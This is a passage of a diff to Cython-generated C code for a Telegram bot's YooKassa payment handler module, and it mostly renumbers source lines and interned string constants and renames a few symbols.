__pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_target, __pyx_t_2); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 368, __pyx_L1_error) + __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_target, __pyx_t_2); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_3) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 369, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 361, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 370, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_target, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 370, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_target, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_4) < 0) __PYX_ERR(0, 370, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_4) < 0) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_text) < 0) __PYX_ERR(0, 370, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_text) < 0) __PYX_ERR(0, 362, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 370, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 362, __pyx_L1_error) - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 369, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 361, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9922,38 +9920,38 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_20generator6(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 369, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 361, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 369, __pyx_L1_error) + else __PYX_ERR(0, 361, __pyx_L1_error) } } goto __pyx_L4; } - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_types); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 374, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_types); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 374, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_target, __pyx_t_1); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 374, __pyx_L1_error) + __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_target, __pyx_t_1); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_3) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_target, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 375, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_target, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 375, __pyx_L1_error) + __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_text); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_text); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 375, __pyx_L1_error); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 375, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 367, __pyx_L1_error); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 375, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 375, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 367, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -9969,12 +9967,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_20generator6(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 375, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 367, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 375, __pyx_L1_error) + else __PYX_ERR(0, 367, __pyx_L1_error) } } @@ -11386,13 +11384,13 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, {&__pyx_n_s_BACK, __pyx_k_BACK, sizeof(__pyx_k_BACK), 0, 0, 1, 1}, - {&__pyx_n_s_CUSTOM_SUM, __pyx_k_CUSTOM_SUM, sizeof(__pyx_k_CUSTOM_SUM), 0, 0, 1, 1}, - {&__pyx_n_s_CUSTOM_SUM_ANSWER, __pyx_k_CUSTOM_SUM_ANSWER, sizeof(__pyx_k_CUSTOM_SUM_ANSWER), 0, 0, 1, 1}, + {&__pyx_n_s_CUSTOM_AMOUNT, __pyx_k_CUSTOM_AMOUNT, sizeof(__pyx_k_CUSTOM_AMOUNT), 0, 0, 1, 1}, {&__pyx_n_s_CallbackQuery, __pyx_k_CallbackQuery, sizeof(__pyx_k_CallbackQuery), 0, 0, 1, 1}, {&__pyx_n_s_Configuration, __pyx_k_Configuration, sizeof(__pyx_k_Configuration), 0, 0, 1, 1}, {&__pyx_n_s_DATABASE_URL, __pyx_k_DATABASE_URL, sizeof(__pyx_k_DATABASE_URL), 0, 0, 1, 1}, {&__pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_k_DEFAULT_PAYMENT_MESSAGE, sizeof(__pyx_k_DEFAULT_PAYMENT_MESSAGE), 0, 0, 1, 1}, {&__pyx_n_s_EMAIL, __pyx_k_EMAIL, sizeof(__pyx_k_EMAIL), 0, 0, 1, 1}, + {&__pyx_n_s_ENTER_SUM, __pyx_k_ENTER_SUM, sizeof(__pyx_k_ENTER_SUM), 0, 0, 1, 1}, {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, @@ -11401,12 +11399,12 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_MENU, __pyx_k_MAIN_MENU, sizeof(__pyx_k_MAIN_MENU), 0, 0, 1, 1}, {&__pyx_n_s_MAIN_SECRET, __pyx_k_MAIN_SECRET, sizeof(__pyx_k_MAIN_SECRET), 0, 0, 1, 1}, {&__pyx_n_s_Message, __pyx_k_Message, sizeof(__pyx_k_Message), 0, 0, 1, 1}, {&__pyx_n_s_PAY, __pyx_k_PAY, sizeof(__pyx_k_PAY), 0, 0, 1, 1}, {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, {&__pyx_n_s_PAY_2, __pyx_k_PAY_2, sizeof(__pyx_k_PAY_2), 0, 0, 1, 1}, - {&__pyx_n_s_PROFILE, __pyx_k_PROFILE, sizeof(__pyx_k_PROFILE), 0, 0, 1, 1}, {&__pyx_kp_u_PROJECT_06_01_09_LICENSION, __pyx_k_PROJECT_06_01_09_LICENSION, sizeof(__pyx_k_PROJECT_06_01_09_LICENSION), 0, 1, 0, 0}, {&__pyx_n_s_Payment, __pyx_k_Payment, sizeof(__pyx_k_Payment), 0, 0, 1, 1}, {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, @@ -11425,25 +11423,24 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, {&__pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_k_YOOKASSA_SECRET_KEY, sizeof(__pyx_k_YOOKASSA_SECRET_KEY), 0, 0, 1, 1}, {&__pyx_n_s_YOOKASSA_SHOP_ID, __pyx_k_YOOKASSA_SHOP_ID, sizeof(__pyx_k_YOOKASSA_SHOP_ID), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, - {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, - {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, - {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, - {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, - {&__pyx_n_s__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 0, 1, 1}, - {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, - {&__pyx_n_s__37, __pyx_k__37, sizeof(__pyx_k__37), 0, 0, 1, 1}, + {&__pyx_n_s__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 0, 1, 1}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_n_s__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 0, 1, 1}, {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, - {&__pyx_n_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 1}, - {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, @@ -11517,7 +11514,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, {&__pyx_n_s_get_temporary_data, __pyx_k_get_temporary_data, sizeof(__pyx_k_get_temporary_data), 0, 0, 1, 1}, - {&__pyx_n_s_handlers_buttons_yookassa, __pyx_k_handlers_buttons_yookassa, sizeof(__pyx_k_handlers_buttons_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_yookassa_pay, __pyx_k_handlers_payments_yookassa_pay, sizeof(__pyx_k_handlers_payments_yookassa_pay), 0, 0, 1, 1}, @@ -11641,8 +11638,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 80, __pyx_L1_error) - __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 127, __pyx_L1_error) + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 119, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -11653,54 +11650,54 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); - __pyx_tuple__19 = PyTuple_Pack(2, __pyx_n_u_required_amount, __pyx_int_0); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 288, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__19); - __Pyx_GIVEREF(__pyx_tuple__19); + __pyx_tuple__18 = PyTuple_Pack(2, __pyx_n_u_required_amount, __pyx_int_0); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 280, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__18); + __Pyx_GIVEREF(__pyx_tuple__18); - __pyx_tuple__28 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_tuple__27 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 56, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 56, __pyx_L1_error) + + __pyx_tuple__28 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__28); __Pyx_GIVEREF(__pyx_tuple__28); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 64, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 64, __pyx_L1_error) - - __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_tuple__29 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_tg_id, __pyx_n_s_customer_name, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); - __pyx_tuple__30 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_tg_id, __pyx_n_s_customer_name, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 110, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 110, __pyx_L1_error) + + __pyx_tuple__30 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_response, __pyx_n_s_e); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__30); __Pyx_GIVEREF(__pyx_tuple__30); - __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 118, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_codeobj__9 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 190, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__9)) __PYX_ERR(0, 190, __pyx_L1_error) - __pyx_tuple__31 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_response, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 198, __pyx_L1_error) + __pyx_tuple__31 = PyTuple_Pack(3, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); - __pyx_codeobj__10 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 198, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__10)) __PYX_ERR(0, 198, __pyx_L1_error) + __pyx_codeobj__12 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_successful_payment, 232, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__12)) __PYX_ERR(0, 232, __pyx_L1_error) - __pyx_tuple__32 = PyTuple_Pack(3, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_tuple__32 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); - __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_successful_payment, 240, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 244, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 244, __pyx_L1_error) - __pyx_tuple__33 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_tuple__33 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_conn, __pyx_n_s_tg_id, __pyx_n_s_user_data, __pyx_n_s_state_type, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); - __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 252, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 252, 